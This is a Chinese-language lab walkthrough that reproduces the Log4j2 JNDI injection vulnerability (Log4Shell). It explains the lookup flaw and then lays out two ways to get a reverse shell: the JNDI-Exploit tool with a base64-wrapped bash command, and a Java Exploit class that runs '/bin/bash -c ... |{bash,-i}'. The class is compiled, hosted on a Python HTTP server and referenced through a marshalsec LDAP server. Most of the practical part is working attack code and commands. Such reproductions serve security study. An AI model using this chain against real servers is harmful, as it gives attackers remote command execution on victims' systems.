log4j2漏洞复现

log4j2漏洞复现

漏洞原理

log4j2框架下的lookup查询服务提供了{}字段解析功能,传进去的值会被直接解析。例如${sys:java.version}会被替换为对应的java版本。这样如果不对lookup的出栈进行限制,就有可能让查询指向任何服务(可能是攻击者部署好的恶意代码)。
攻击者可以利用这一点进行JNDI注入,使得受害者请求远程服务来链接本地对象,在lookup的{}里面构造payload,调用JNDI服务(LDAP)向攻击者提前部署好的恶意站点获取恶意的.class对象,造成了远程代码执行(可反弹shell到指定服务器)。

dnslog验证跳过,直接进入反弹shell步骤

一、使用JNDI-exploit工具一键化反弹shell

命令格式

bash -c {echo,BASE64编码命令}|{base64,-d}|{bash,-i}

在线编码网站
JNDI-Exploit工具搭建JNDI服务器
在这里插入图片描述
传参执行

反弹成功
在这里插入图片描述

二、使用EXP代码反弹shell

1、先写个java反弹shell的exp。

import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
     public Exploit(){
             try{
                 Runtime.getRuntime().exec("/bin/bash -c {echo,base64命令}|{base64,-d}|{bash,-i}");
                                }catch(Exception e){
                                            e.printStackTrace();
                                             }
                }
         public static void main(String[] argv){
                         Exploit e = new Exploit();
                            }
}

3、编译为class

javac Exploit.java

4、搭建web服务,将class放上去

我直接python搭建个临时的

python3 -m http.server 4455

在这里插入图片描述

5、搭建LADP服务

使用marshalsec工具快速搭建

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer  "http://刚才http服务的地址:端口号/#Exploit" 1389

6、反弹shell

传参、开启监听
在这里插入图片描述